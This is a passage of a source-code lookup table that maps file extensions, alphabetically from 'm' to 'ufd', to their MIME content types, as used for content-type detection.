"application/x-lzx"), ("m", "application/vnd.wolfram.mathematica.package"), ("m13", "application/x-msmediaview"), ("m14", "application/x-msmediaview"), ("m15", "audio/x-mod"), ("m1v", "video/mpeg"), ("m21", "application/mp21"), ("m2a", "audio/mpeg"), ("m2v", "video/mpeg"), ("m3a", "audio/mpeg"), ("m3g", "application/m3g"), ("m3u", "audio/x-mpegurl"), ("m3u8", "application/vnd.apple.mpegurl"), ("m4a", "audio/x-m4a"), ("m4s", "video/iso.segment"), ("m4u", "video/vnd.mpegurl"), ("m4v", "video/x-m4v"), ("ma", "application/mathematica"), ("mads", "application/mads+xml"), ("mag", "application/vnd.ecowin.chart"), ("mail", "message/rfc822"), ("maker", "application/vnd.framemaker"), ("man", "application/x-troff-man"), ("manifest", "text/cache-manifest"), ("map", "application/x-navimap"), ("mar", "text/plain"), ("markdown", "text/markdown"), ("mathml", "application/mathml+xml"), ("mb", "application/mathematica"), ("mbd", "application/mbedlet"), ("mbk", "application/vnd.mobius.mbk"), ("mbox", "application/mbox"), ("mc$", "application/x-magic-cap-package-1.0"), ("mc1", "application/vnd.medcalcdata"), ("mcd", "application/vnd.mcd"), ("mcf", "image/vasa"), ("mcif", "chemical/x-mmcif"), ("mcm", "chemical/x-macmolecule"), ("mcp", "application/netmc"), ("mcurl", "text/vnd.curl.mcurl"), ("md", "text/markdown"), ("mdb", "application/x-msaccess"), ("mdc", "application/vnd.marlin.drm.mdcf"), ("mdi", "image/vnd.ms-modi"), ("me", "application/x-troff-me"), ("med", "audio/x-mod"), ("mesh", "model/mesh"), ("meta4", "application/metalink4+xml"), ("metalink", "application/metalink+xml"), ("mets", "application/mets+xml"), ("mf4", "application/mf4"), ("mfm", "application/vnd.mfmp"), ("mft", "application/rpki-manifest"), ("mgp", "application/vnd.osgeo.mapguide.package"), ("mgz", "application/vnd.proteus.magazine"), ("mht", "message/rfc822"), ("mhtml", "message/rfc822"), ("mib", "text/mib"), ("mid", "audio/midi"), ("midi", "audio/midi"), ("mie", "application/x-mie"), ("mif", "application/x-mif"), ("mime", "message/rfc822"), ("miz", "text/mizar"), ("mj2", "video/mj2"), ("mjf", "audio/x-vnd.audioexplosion.mjuicemediafile"), ("mjp2", "video/mj2"), ("mjpg", "video/x-motion-jpeg"), ("mjs", "application/javascript"), ("mk", "text/makefile"), ("mk3d", "video/x-matroska-3d"), ("mka", "audio/x-matroska"), ("mkd", "text/x-markdown"), ("mks", "video/x-matroska"), ("mkv", "video/x-matroska"), ("mlp", "application/vnd.dolby.mlp"), ("mm", "application/x-freemind"), ("mmd", "application/vnd.chipnuts.karaoke-mmd"), ("mmdb", "application/vnd.maxmind.maxmind-db"), ("mme", "application/base64"), ("mmf", "application/vnd.smaf"), ("mml", "text/mathml"), ("mmod", "chemical/x-macromodel-input"), ("mmr", "image/vnd.fujixerox.edmics-mmr"), ("mms", "application/vnd.wap.mms-message"), ("mng", "video/x-mng"), ("mny", "application/x-msmoney"), ("mobi", "application/x-mobipocket-ebook"), ("moc", "text/x-moc"), ("mod", "audio/x-mod"), ("model-inter", "application/vnd.vd-study"), ("mods", "application/mods+xml"), ("modulemap", "text/modulemap"), ("mol", "chemical/x-mdl-molfile"), ("mol2", "chemical/x-mol2"), ("moml", "model/vnd.moml+xml"), ("moo", "chemical/x-mopac-out"), ("moov", "video/quicktime"), ("mop", "chemical/x-mopac-input"), ("mopcrt", "chemical/x-mopac-input"), ("mov", "video/quicktime"), ("movie", "video/x-sgi-movie"), ("mp1", "audio/mpeg"), ("mp2", "audio/mpeg"), ("mp21", "application/mp21"), ("mp2a", "audio/mpeg"), ("mp3", "audio/mp3"), ("mp4", "video/mp4"), ("mp4a", "audio/mp4"), ("mp4s", "application/mp4"), ("mp4v", "video/mp4"), ("mpa", "video/mpeg"), ("mpc", "application/vnd.mophun.certificate"), ("mpd", "application/dash+xml"), ("mpdd", "application/dashdelta"), ("mpe", "video/mpeg"), ("mpeg", "video/mpeg"), ("mpega", "audio/mpeg"), ("mpf", "text/vnd.ms-mediapackage"), ("mpg", "video/mpeg"), ("mpg4", "video/mp4"), ("mpga", "audio/mpeg"), ("mpkg", "application/vnd.apple.installer+xml"), ("mpm", "application/vnd.blueice.multipass"), ("mpn", "application/vnd.mophun.application"), ("mpp", "application/vnd.ms-project"), ("mpt", "application/vnd.ms-project"), ("mpv", "application/x-project"), ("mpv2", "video/mpeg"), ("mpx", "application/x-project"), ("mpy", "application/vnd.ibm.minipay"), ("mqy", "application/vnd.mobius.mqy"), ("mrc", "application/marc"), ("mrcx", "application/marcxml+xml"), ("ms", "application/x-troff-ms"), ("msa", "application/vnd.msa-disk-image"), ("mscml", "application/mediaservercontrol+xml"), ("msd", "application/vnd.fdsn.mseed"), ("mseed", "application/vnd.fdsn.mseed"), ("mseq", "application/vnd.mseq"), ("msf", "application/vnd.epson.msf"), ("msg", "application/vnd.ms-outlook"), ("msh", "model/mesh"), ("msi", "application/x-msi"), ("msl", "application/vnd.mobius.msl"), ("msm", "model/vnd.gdl"), ("msty", "application/vnd.muvee.style"), ("mtm", "audio/x-mod"), ("mts", "model/vnd.mts"), ("multitrack", "audio/vnd.presonus.multitrack"), ("mus", "application/vnd.musician"), ("musd", "application/mmt-usd+xml"), ("musicxml", "application/vnd.recordare.musicxml+xml"), ("mv", "video/x-sgi-movie"), ("mvb", "application/x-msmediaview"), ("mvt", "application/vnd.mapbox-vector-tile"), ("mwc", "application/vnd.dpgraph"), ("mwf", "application/vnd.mfer"), ("mxf", "application/mxf"), ("mxi", "application/vnd.vd-study"), ("mxl", "application/vnd.recordare.musicxml"), ("mxmf", "audio/mobile-xmf"), ("mxml", "application/xv+xml"), ("mxs", "application/vnd.triscape.mxs"), ("mxu", "video/vnd.mpegurl"), ("my", "audio/make"), ("mzz", "application/x-vnd.audioexplosion.mzz"), ("n-gage", "application/vnd.nokia.n-gage.symbian.install"), ("n3", "text/n3"), ("nap", "image/naplps"), ("naplps", "image/naplps"), ("nb", "application/mathematica"), ("nbp", "application/vnd.wolfram.player"), ("nc", "application/x-netcdf"), ("ncm", "application/vnd.nokia.configuration-message"), ("ncx", "application/x-dtbncx+xml"), ("ndc", "application/vnd.osa.netdeploy"), ("ndjson", "application/json"), ("ndl", "application/vnd.lotus-notes"), ("nds", "application/vnd.nintendo.nitro.rom"), ("nef", "image/x-nikon-nef"), ("nfo", "text/x-nfo"), ("ngdat", "application/vnd.nokia.n-gage.data"), ("ngdoc", "text/ngdoc"), ("nif", "image/x-niff"), ("niff", "image/x-niff"), ("nim", "text/nim"), ("nimble", "text/nimble"), ("nimf", "text/nim"), ("nims", "text/nim"), ("nitf", "application/vnd.nitf"), ("nix", "application/x-mix-transfer"), ("nlu", "application/vnd.neurolanguage.nlu"), ("nml", "application/vnd.enliven"), ("nnd", "application/vnd.noblenet-directory"), ("nns", "application/vnd.noblenet-sealer"), ("nnw", "application/vnd.noblenet-web"), ("notebook", "application/vnd.smart.notebook"), ("npx", "image/vnd.net-fpx"), ("nq", "application/n-quads"), ("ns2", "application/vnd.lotus-notes"), ("ns3", "application/vnd.lotus-notes"), ("ns4", "application/vnd.lotus-notes"), ("nsc", "application/x-conference"), ("nsf", "application/vnd.lotus-notes"), ("nsg", "application/vnd.lotus-notes"), ("nsh", "application/vnd.lotus-notes"), ("nt", "application/n-triples"), ("ntf", "application/vnd.lotus-notes"), ("numbers", "application/vnd.apple.numbers"), ("nvd", "application/x-navidoc"), ("nwc", "application/x-nwc"), ("nws", "message/rfc822"), ("nzb", "application/x-nzb"), ("o", "application/x-object"), ("o4a", "application/vnd.oma.drm.dcf"), ("o4v", "application/vnd.oma.drm.dcf"), ("oa2", "application/vnd.fujitsu.oasys2"), ("oa3", "application/vnd.fujitsu.oasys3"), ("oas", "application/vnd.fujitsu.oasys"), ("obd", "application/x-msbinder"), ("obg", "application/vnd.openblox.game-binary"), ("obgx", "application/vnd.openblox.game+xml"), ("obj", "application/x-tgif"), ("oda", "application/oda"), ("odb", "application/vnd.oasis.opendocument.database"), ("odc", "application/vnd.oasis.opendocument.chart"), ("odd", "application/tei+xml"), ("odf", "application/vnd.oasis.opendocument.formula"), ("odft", "application/vnd.oasis.opendocument.formula-template"), ("odg", "application/vnd.oasis.opendocument.graphics"), ("odi", "application/vnd.oasis.opendocument.image"), ("odm", "application/vnd.oasis.opendocument.text-master"), ("odp", "application/vnd.oasis.opendocument.presentation"), ("ods", "application/vnd.oasis.opendocument.spreadsheet"), ("odt", "application/vnd.oasis.opendocument.text"), ("odx", "application/odx"), ("oeb", "application/vnd.openeye.oeb"), ("oga", "audio/ogg"), ("ogex", "model/vnd.opengex"), ("ogg", "audio/ogg"), ("ogv", "video/ogg"), ("ogx", "application/ogg"), ("old", "application/x-trash"), ("omc", "application/x-omc"), ("omcd", "application/x-omcdatamaker"), ("omcr", "application/x-omcregerator"), ("omdoc", "application/omdoc+xml"), ("omg", "audio/atrac3"), ("onepkg", "application/onenote"), ("onetmp", "application/onenote"), ("onetoc", "application/onenote"), ("onetoc2", "application/onenote"), ("opf", "application/oebps-package+xml"), ("opml", "text/x-opml"), ("oprc", "application/vnd.palm"), ("opus", "audio/ogg"), ("or2", "application/vnd.lotus-organizer"), ("or3", "application/vnd.lotus-organizer"), ("orf", "image/x-olympus-orf"), ("org", "text/x-org"), ("orq", "application/ocsp-request"), ("ors", "application/ocsp-response"), ("osf", "application/vnd.yamaha.openscoreformat"), ("osfpvg", "application/vnd.yamaha.openscoreformat.osfpvg+xml"), ("osm", "application/vnd.openstreetmap.data+xml"), ("otc", "application/vnd.oasis.opendocument.chart-template"), ("otf", "font/otf"), ("otg", "application/vnd.oasis.opendocument.graphics-template"), ("oth", "application/vnd.oasis.opendocument.text-web"), ("oti", "application/vnd.oasis.opendocument.image-template"), ("otp", "application/vnd.oasis.opendocument.presentation-template"), ("ots", "application/vnd.oasis.opendocument.spreadsheet-template"), ("ott", "application/vnd.oasis.opendocument.text-template"), ("ova", "application/x-virtualbox-ova"), ("ovf", "application/x-virtualbox-ovf"), ("owx", "application/owl+xml"), ("oxlicg", "application/vnd.oxli.countgraph"), ("oxps", "application/oxps"), ("oxt", "application/vnd.openofficeorg.extension"), ("oza", "application/x-oz-application"), ("p", "text/x-pascal"), ("p10", "application/pkcs10"), ("p12", "application/pkcs12"), ("p2p", "application/vnd.wfa.p2p"), ("p7a", "application/x-pkcs7-signature"), ("p7b", "application/x-pkcs7-certificates"), ("p7c", "application/pkcs7-mime"), ("p7m", "application/pkcs7-mime"), ("p7r", "application/x-pkcs7-certreqresp"), ("p7s", "application/pkcs7-signature"), ("p8", "application/pkcs8"), ("pac", "application/x-ns-proxy-autoconfig"), ("pack", "application/x-java-pack200"), ("package", "application/vnd.autopackage"), ("pages", "application/vnd.apple.pages"), ("par", "text/plain-bas"), ("part", "application/pro_eng"), ("pas", "text/pascal"), ("pat", "image/x-coreldrawpattern"), ("patch", "text/x-diff"), ("paw", "application/vnd.pawaafile"), ("pbd", "application/vnd.powerbuilder6"), ("pbm", "image/x-portable-bitmap"), ("pcap", "application/vnd.tcpdump.pcap"), ("pcf", "application/x-font-pcf"), ("pcl", "application/vnd.hp-pcl"), ("pclxl", "application/vnd.hp-pclxl"), ("pct", "image/x-pict"), ("pcurl", "application/vnd.curl.pcurl"), ("pcx", "image/x-pcx"), ("pdb", "application/vnd.palm"), ("pde", "text/x-processing"), ("pdf", "application/pdf"), ("pdx", "application/pdx"), ("pem", "text/pem"), ("pfa", "application/x-font-type1"), ("pfb", "application/x-font-type1"), ("pfm", "application/x-font-type1"), ("pfr", "application/font-tdpfr"), ("pfunk", "audio/make"), ("pfx", "application/pkcs12"), ("pgb", "image/vnd.globalgraphics.pgb"), ("pgm", "image/x-portable-graymap"), ("pgn", "application/x-chess-pgn"), ("pgp", "application/pgp-encrypted"), ("php", "application/x-httpd-php"), ("php3", "application/x-httpd-php3"), ("php3p", "application/x-httpd-php3-preprocessed"), ("php4", "application/x-httpd-php4"), ("php5", "application/x-httpd-php5"), ("phps", "application/x-httpd-php-source"), ("pht", "application/x-httpd-php"), ("phtml", "application/x-httpd-php"), ("pic", "image/pict"), ("pict", "image/pict"), ("pil", "application/vnd.piaccess.application-license"), ("pk", "application/x-tex-pk"), ("pkd", "application/vnd.hbci"), ("pkg", "application/vnd.apple.installer+xml"), ("pki", "application/pkixcmp"), ("pkipath", "application/pkix-pkipath"), ("pko", "application/ynd.ms-pkipko"), ("pkpass", "application/vnd.apple.pkpass"), ("pl", "application/x-perl"), ("plantuml", "text/plantuml"), ("plb", "application/vnd.3gpp.pic-bw-large"), ("plc", "application/vnd.mobius.plc"), ("plf", "application/vnd.pocketlearn"), ("plj", "audio/vnd.everad.plj"), ("plp", "application/vnd.panoply"), ("pls", "application/pls+xml"), ("plx", "application/x-pixclscript"), ("ply", "model/stanford"), ("pm", "text/plain"), ("pm4", "application/x-pagemaker"), ("pm5", "application/x-pagemaker"), ("pma", "application/x-perfmon"), ("pmc", "application/x-perfmon"), ("pml", "application/vnd.ctc-posml"), ("pmr", "application/x-perfmon"), ("pmw", "application/x-perfmon"), ("png", "image/png"), ("pnm", "image/x-portable-anymap"), ("po", "text/pofile"), ("pod", "text/x-pod"), ("portpkg", "application/vnd.macports.portpkg"), ("pot", "application/vnd.ms-powerpoint"), ("potm", "application/vnd.ms-powerpoint.template.macroenabled.12"), ( "potx", "application/vnd.openxmlformats-officedocument.presentationml.template"), ("pov", "model/x-pov"), ("pp", "text/puppet"), ("ppa", "application/vnd.ms-powerpoint"), ("ppam", "application/vnd.ms-powerpoint.addin.macroenabled.12"), ("ppd", "application/vnd.cups-ppd"), ("ppkg", "application/vnd.xmpie.ppkg"), ("ppm", "image/x-portable-pixmap"), ("pps", "application/vnd.ms-powerpoint"), ("ppsm", "application/vnd.ms-powerpoint.slideshow.macroenabled.12"), ( "ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow"), ("ppt", "application/vnd.ms-powerpoint"), ("pptm", "application/vnd.ms-powerpoint.presentation.macroenabled.12"), ("pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"), ("ppz", "application/mspowerpoint"), ("pqa", "application/vnd.palm"), ("prc", "application/vnd.palm"), ("pre", "application/vnd.lotus-freelance"), ("preminet", "application/vnd.preminet"), ("prf", "application/pics-rules"), ("proto", "text/proto"), ("provn", "text/provenance-notation"), ("provx", "application/provenance+xml"), ("prt", "application/pro_eng"), ("prz", "application/vnd.lotus-freelance"), ("ps", "application/postscript"), ("psb", "application/vnd.3gpp.pic-bw-small"), ("psd", "image/vnd.adobe.photoshop"), ("pseg3820", "application/vnd.ibm.modcap"), ("psf", "application/x-font-linux-psf"), ("psid", "audio/prs.sid"), ("pskcxml", "application/pskc+xml"), ("pti", "image/prs.pti"), ("ptid", "application/vnd.pvi.ptid1"), ("pub", "application/x-mspublisher"), ("purs", "text/purescript"), ("pvb", "application/vnd.3gpp.pic-bw-var"), ("pvu", "paleovu/x-pv"), ("pwn", "application/vnd.3m.post-it-notes"), ("pwz", "application/vnd.ms-powerpoint"), ("pxd", "text/cython"), ("pxi", "text/cython"), ("py", "text/x-script.phyton"), ("pya", "audio/vnd.ms-playready.media.pya"), ("pyc", "application/x-python-code"), ("pyi", "text/pyi"), ("pyo", "application/x-python-code"), ("pyv", "video/vnd.ms-playready.media.pyv"), ("pyx", "text/cython"), ("qam", "application/vnd.epson.quickanime"), ("qbo", "application/vnd.intu.qbo"), ("qca", "application/vnd.ericsson.quickcall"), ("qcall", "application/vnd.ericsson.quickcall"), ("qcp", "audio/qcelp"), ("qd3", "x-world/x-3dmf"), ("qd3d", "x-world/x-3dmf"), ("qfx", "application/vnd.intu.qfx"), ("qgs", "application/x-qgis"), ("qif", "image/x-quicktime"), ("qps", "application/vnd.publishare-delta-tree"), ("qt", "video/quicktime"), ("qtc", "video/x-qtc"), ("qti", "image/x-quicktime"), ("qtif", "image/x-quicktime"), ("qtl", "application/x-quicktimeplayer"), ("quiz", "application/vnd.quobject-quoxdocument"), ("quox", "application/vnd.quobject-quoxdocument"), ("qvd", "application/vnd.theqvd"), ("qwd", "application/vnd.quark.quarkxpress"), ("qwt", "application/vnd.quark.quarkxpress"), ("qxb", "application/vnd.quark.quarkxpress"), ("qxd", "application/vnd.quark.quarkxpress"), ("qxl", "application/vnd.quark.quarkxpress"), ("qxt", "application/vnd.quark.quarkxpress"), ("r", "text/r"), ("ra", "audio/x-realaudio"), ("ram", "audio/x-pn-realaudio"), ("raml", "application/raml+yaml"), ("rapd", "application/route-apd+xml"), ("rar", "application/x-rar-compressed"), ("ras", "image/x-cmu-raster"), ("rast", "image/cmu-raster"), ("rb", "application/x-ruby"), ("rcprofile", "application/vnd.ipunplugged.rcprofile"), ("rct", "application/prs.nprend"), ("rd", "chemical/x-mdl-rdfile"), ("rda", "text/r"), ("rdata", "text/r"), ("rds", "text/r"), ("rdf", "application/rdf+xml"), ("rdf-crypt", "application/prs.rdf-xml-crypt"), ("rdz", "application/vnd.data-vision.rdz"), ("relo", "application/p2p-overlay+xml"), ("rep", "application/vnd.businessobjects"), ("request", "application/vnd.nervana"), ("res", "application/x-dtbresource+xml"), ("rexx", "text/x-script.rexx"), ("rf", "image/vnd.rn-realflash"), ("rfcxml", "application/rfc+xml"), ("rgb", "image/x-rgb"), ("rgbe", "image/vnd.radiance"), ("rhtml", "application/x-httpd-eruby"), ("rif", "application/reginfo+xml"), ("rip", "audio/vnd.rip"), ("ris", "application/x-research-info-systems"), ("rl", "application/resource-lists+xml"), ("rlc", "image/vnd.fujixerox.edmics-rlc"), ("rld", "application/resource-lists-diff+xml"), ("rlib", "text/rust"), ("rm", "application/vnd.rn-realmedia"), ("rmi", "audio/mid"), ("rmm", "audio/x-pn-realaudio"), ("rmp", "audio/x-pn-realaudio-plugin"), ("rms", "application/vnd.jcp.javame.midlet-rms"), ("rmvb", "application/vnd.rn-realmedia-vbr"), ("rnc", "application/relax-ng-compact-syntax"), ("rnd", "application/prs.nprend"), ("rng", "text/xml"), ("rnx", "application/vnd.rn-realplayer"), ("roa", "application/rpki-roa"), ("roff", "text/troff"), ("ros", "chemical/x-rosdal"), ("rp", "image/vnd.rn-realpix"), ("rp9", "application/vnd.cloanto.rp9"), ("rpm", "application/x-redhat-package-manager"), ("rpss", "application/vnd.nokia.radio-presets"), ("rpst", "application/vnd.nokia.radio-preset"), ("rq", "application/sparql-query"), ("rs", "application/rls-services+xml"), ("rsd", "application/rsd+xml"), ("rsheet", "application/urc-ressheet+xml"), ("rsm", "model/vnd.gdl"), ("rss", "application/rss+xml"), ("rst", "text/prs.fallenstein.rst"), ("rt", "text/richtext"), ("rtf", "text/rtf"), ("rtx", "text/richtext"), ("run", "application/x-makeself"), ("rusd", "application/route-usd+xml"), ("rv", "video/vnd.rn-realvideo"), ("rxn", "chemical/x-mdl-rxnfile"), ("s", "text/x-asm"), ("s11", "video/vnd.sealed.mpeg1"), ("s14", "video/vnd.sealed.mpeg4"), ("s1a", "application/vnd.sealedmedia.softseal.pdf"), ("s1e", "application/vnd.sealed.xls"), ("s1g", "image/vnd.sealedmedia.softseal.gif"), ("s1h", "application/vnd.sealedmedia.softseal.html"), ("s1j", "image/vnd.sealedmedia.softseal.jpg"), ("s1m", "audio/vnd.sealedmedia.softseal.mpeg"), ("s1n", "image/vnd.sealed.png"), ("s1p", "application/vnd.sealed.ppt"), ("s1q", "video/vnd.sealedmedia.softseal.mov"), ("s1w", "application/vnd.sealed.doc"), ("s3df", "application/vnd.sealed.3df"), ("s3m", "audio/s3m"), ("sac", "application/tamp-sequence-adjust-confirm"), ("saf", "application/vnd.yamaha.smaf-audio"), ("sam", "application/vnd.lotus-wordpro"), ("sandboxed", "text/html-sandboxed"), ("sass", "text/x-sass"), ("saveme", "application/octet-stream"), ("sbk", "application/x-tbook"), ("sbml", "application/sbml+xml"), ("sc", "application/vnd.ibm.secure-container"), ("scala", "text/x-scala"), ("scd", "application/x-msschedule"), ("sce", "application/vnd.etsi.asic-e+zip"), ("scim", "application/scim+json"), ("scld", "application/vnd.doremir.scorecloud-binary-document"), ("scm", "application/vnd.lotus-screencam"), ("scq", "application/scvp-cv-request"), ("scr", "application/x-silverlight"), ("scs", "application/scvp-cv-response"), ("scsf", "application/vnd.sealed.csf"), ("scss", "text/x-scss"), ("sct", "text/scriptlet"), ("scurl", "text/vnd.curl.scurl"), ("sd", "chemical/x-mdl-sdfile"), ("sd2", "audio/x-sd2"), ("sda", "application/vnd.stardivision.draw"), ("sdc", "application/vnd.stardivision.calc"), ("sdd", "application/vnd.stardivision.impress"), ("sdf", "application/vnd.kinar"), ("sdkd", "application/vnd.solent.sdkm+xml"), ("sdkm", "application/vnd.solent.sdkm+xml"), ("sdml", "text/plain"), ("sdo", "application/vnd.sealed.doc"), ("sdoc", "application/vnd.sealed.doc"), ("sdp", "application/sdp"), ("sdr", "application/sounder"), ("sdw", "application/vnd.stardivision.writer"), ("sea", "application/x-sea"), ("see", "application/vnd.seemail"), ("seed", "application/vnd.fdsn.seed"), ("sem", "application/vnd.sealed.eml"), ("sema", "application/vnd.sema"), ("semd", "application/vnd.semd"), ("semf", "application/vnd.semf"), ("seml", "application/vnd.sealed.eml"), ("ser", "application/java-serialized-object"), ("set", "application/set"), ("setpay", "application/set-payment-initiation"), ("setreg", "application/set-registration-initiation"), ("sfc", "application/vnd.nintendo.snes.rom"), ("sfd", "application/vnd.font-fontforge-sfd"), ("sfd-hdstx", "application/vnd.hydrostatix.sof-data"), ("sfs", "application/vnd.spotfire.sfs"), ("sfv", "text/x-sfv"), ("sgf", "application/x-go-sgf"), ("sgi", "image/sgi"), ("sgif", "image/vnd.sealedmedia.softseal.gif"), ("sgl", "application/vnd.stardivision.writer-global"), ("sgm", "text/sgml"), ("sgml", "text/sgml"), ("sh", "application/x-sh"), ("shar", "application/x-shar"), ("shex", "text/shex"), ("shf", "application/shf+xml"), ("shp", "application/x-qgis"), ("shx", "application/x-qgis"), ("si", "text/vnd.wap.si"), ("sic", "application/vnd.wap.sic"), ("sid", "image/x-mrsid-image"), ("sieve", "application/sieve"), ("sig", "application/pgp-signature"), ("sik", "application/x-trash"), ("sil", "audio/silk"), ("silo", "model/mesh"), ("sis", "application/vnd.symbian.install"), ("sisx", "x-epoc/x-sisx-app"), ("sit", "application/x-stuffit"), ("sitx", "application/x-stuffitx"), ("siv", "application/sieve"), ("sjp", "image/vnd.sealedmedia.softseal.jpg"), ("sjpg", "image/vnd.sealedmedia.softseal.jpg"), ("skd", "application/vnd.koan"), ("skm", "application/vnd.koan"), ("skp", "application/vnd.koan"), ("skt", "application/vnd.koan"), ("sl", "text/vnd.wap.sl"), ("sla", "application/vnd.scribus"), ("slaz", "application/vnd.scribus"), ("slc", "application/vnd.wap.slc"), ("sldm", "application/vnd.ms-powerpoint.slide.macroenabled.12"), ( "sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide"), ("sls", "application/route-s-tsid+xml"), ("slt", "application/vnd.epson.salt"), ("sm", "application/vnd.stepmania.stepchart"), ("smc", "application/vnd.nintendo.snes.rom"), ("smf", "application/vnd.stardivision.math"), ("smh", "application/vnd.sealed.mht"), ("smht", "application/vnd.sealed.mht"), ("smi", "application/smil+xml"), ("smil", "application/smil+xml"), ("smk", "video/vnd.radgamettools.smacker"), ("sml", "application/smil+xml"), ("smo", "video/vnd.sealedmedia.softseal.mov"), ("smov", "video/vnd.sealedmedia.softseal.mov"), ("smp", "audio/vnd.sealedmedia.softseal.mpeg"), ("smp3", "audio/vnd.sealedmedia.softseal.mpeg"), ("smpg", "video/vnd.sealed.mpeg1"), ("sms", "application/vnd.3gpp2.sms"), ("smv", "video/x-smv"), ("smzip", "application/vnd.stepmania.package"), ("snd", "audio/basic"), ("snf", "application/x-font-snf"), ("so", "application/octet-stream"), ("soa", "text/dns"), ("soc", "application/sgml-open-catalog"), ("sol", "application/solids"), ("spc", "text/x-speech"), ("spd", "application/vnd.sealedmedia.softseal.pdf"), ("spdf", "application/vnd.sealedmedia.softseal.pdf"), ("spec", "text/spec"), ("spf", "application/vnd.yamaha.smaf-phrase"), ("spl", "application/x-futuresplash"), ("spn", "image/vnd.sealed.png"), ("spng", "image/vnd.sealed.png"), ("spo", "text/vnd.in3d.spot"), ("spot", "text/vnd.in3d.spot"), ("spp", "application/scvp-vp-response"), ("sppt", "application/vnd.sealed.ppt"), ("spq", "application/scvp-vp-request"), ("spr", "application/x-sprite"), ("sprite", "application/x-sprite"), ("spx", "audio/ogg"), ("sql", "application/x-sql"), ("sr", "application/vnd.sigrok.session"), ("src", "application/x-wais-source"), ("srt", "application/x-subrip"), ("sru", "application/sru+xml"), ("srx", "application/sparql-results+xml"), ("ssdl", "application/ssdl+xml"), ("sse", "application/vnd.kodak-descriptor"), ("ssf", "application/vnd.epson.ssf"), ("ssi", "text/x-server-parsed-html"), ("ssm", "application/streamingmedia"), ("ssml", "application/ssml+xml"), ("sst", "application/vnd.ms-pki.certstore"), ("ssw", "video/vnd.sealed.swf"), ("sswf", "video/vnd.sealed.swf"), ("st", "application/vnd.sailingtracker.track"), ("stc", "application/vnd.sun.xml.calc.template"), ("std", "application/vnd.sun.xml.draw.template"), ("step", "application/step"), ("stf", "application/vnd.wt.stf"), ("sti", "application/vnd.sun.xml.impress.template"), ("stif", "application/vnd.sealed.tiff"), ("stk", "application/hyperstudio"), ("stl", "application/vnd.ms-pki.stl"), ("stm", "audio/x-stm"), ("stml", "application/vnd.sealedmedia.softseal.html"), ("stp", "application/step"), ("str", "application/vnd.pg.format"), ("study-inter", "application/vnd.vd-study"), ("stw", "application/vnd.sun.xml.writer.template"), ("sty", "text/x-tex"), ("styl", "text/stylus"), ("sub", "text/vnd.dvb.subtitle"), ("sus", "application/vnd.sus-calendar"), ("susp", "application/vnd.sus-calendar"), ("sv4cpio", "application/x-sv4cpio"), ("sv4crc", "application/x-sv4crc"), ("svc", "application/vnd.dvb.service"), ("svd", "application/vnd.svd"), ("svf", "image/x-dwg"), ("svg", "image/svg+xml"), ("svgz", "image/svg+xml"), ("sw", "chemical/x-swissprot"), ("swa", "application/x-director"), ("swf", "application/x-shockwave-flash"), ("swfl", "application/x-shockwave-flash"), ("swi", "application/vnd.aristanetworks.swi"), ("swift", "text/swift"), ("swiftdeps", "text/swiftdeps"), ("sxc", "application/vnd.sun.xml.calc"), ("sxd", "application/vnd.sun.xml.draw"), ("sxg", "application/vnd.sun.xml.writer.global"), ("sxi", "application/vnd.sun.xml.impress"), ("sxl", "application/vnd.sealed.xls"), ("sxls", "application/vnd.sealed.xls"), ("sxm", "application/vnd.sun.xml.math"), ("sxw", "application/vnd.sun.xml.writer"), ("t", "text/troff"), ("t3", "application/x-t3vm-image"), ("t38", "image/t38"), ("tac", "text/twisted"), ("tag", "text/prs.lines.tag"), ("taglet", "application/vnd.mynfc"), ("talk", "text/x-speech"), ("tam", "application/vnd.onepager"), ("tamp", "application/vnd.onepagertamp"), ("tamx", "application/vnd.onepagertamx"), ("tao", "application/vnd.tao.intent-module-archive"), ("tap", "image/vnd.tencent.tap"), ("tar", "application/x-tar"), ("tat", "application/vnd.onepagertat"), ("tatp", "application/vnd.onepagertatp"), ("tatx", "application/vnd.onepagertatx"), ("tau", "application/tamp-apex-update"), ("taz", "application/x-gtar"), ("tbk", "application/toolbook"), ("tcap", "application/vnd.3gpp2.tcap"), ("tcl", "application/x-tcl"), ("tcsh", "text/x-script.tcsh"), ("tcu", "application/tamp-community-update"), ("td", "application/urc-targetdesc+xml"), ("teacher", "application/vnd.smart.teacher"), ("tei", "application/tei+xml"), ("teicorpus", "application/tei+xml"), ("ter", "application/tamp-error"), ("tex", "application/x-tex"), ("texi", "application/x-texinfo"), ("texinfo", "application/x-texinfo"), ("text", "text/plain"), ("tf", "text/terraform"), ("tfi", "application/thraud+xml"), ("tfm", "application/x-tex-tfm"), ("tfx", "image/tiff-fx"), ("tga", "image/x-tga"), ("tgf", "chemical/x-mdl-tgf"), ("tgz", "application/gzip"), ("thmx", "application/vnd.ms-officetheme"), ("thrift", "text/thrift"), ("tif", "image/tiff"), ("tiff", "image/tiff"), ("tk", "text/x-tcl"), ("tlclient", "application/vnd.cendio.thinlinc.clientconf"), ("tm", "text/texmacs"), ("tmo", "application/vnd.tmobile-livetv"), ("tnef", "application/vnd.ms-tnef"), ("tnf", "application/vnd.ms-tnef"), ("toml", "text/toml"), ("torrent", "application/x-bittorrent"), ("tpl", "application/vnd.groove-tool-template"), ("tpt", "application/vnd.trid.tpt"), ("tr", "text/troff"), ("tra", "application/vnd.trueapp"), ("tree", "application/vnd.rainstor.data"), ("trig", "application/trig"), ("trm", "application/x-msterminal"), ("ts", "video/mp2t"), ("tsa", "application/tamp-sequence-adjust"), ("tscn", "text/godot"), ("tsd", "application/timestamped-data"), ("tsi", "audio/tsp-audio"), ("tsp", "audio/tsplayer"), ("tsq", "application/timestamp-query"), ("tsr", "application/timestamp-reply"), ("tst", "application/vnd.etsi.timestamp-token"), ("tsv", "text/tab-separated-values"), ("tsx", "text/tsx"), ("ttc", "font/collection"), ("ttf", "font/ttf"), ("ttl", "text/turtle"), ("ttml", "application/ttml+xml"), ("tuc", "application/tamp-update-confirm"), ("tur", "application/tamp-update"), ("turbot", "image/florian"), ("twd", "application/vnd.simtech-mindmapper"), ("twds", "application/vnd.simtech-mindmapper"), ("txd", "application/vnd.genomatix.tuxedo"), ("txf", "application/vnd.mobius.txf"), ("txt", "text/plain"), ("u32", "application/x-authorware-bin"), ("u8dsn", "message/global-delivery-status"), ("u8hdr", "message/global-headers"), ("u8mdn", "message/global-disposition-notification"), ("u8msg", "message/global"), ("udeb", "application/vnd.debian.binary-package"), ("ufd", "application/vnd.ufdl"), 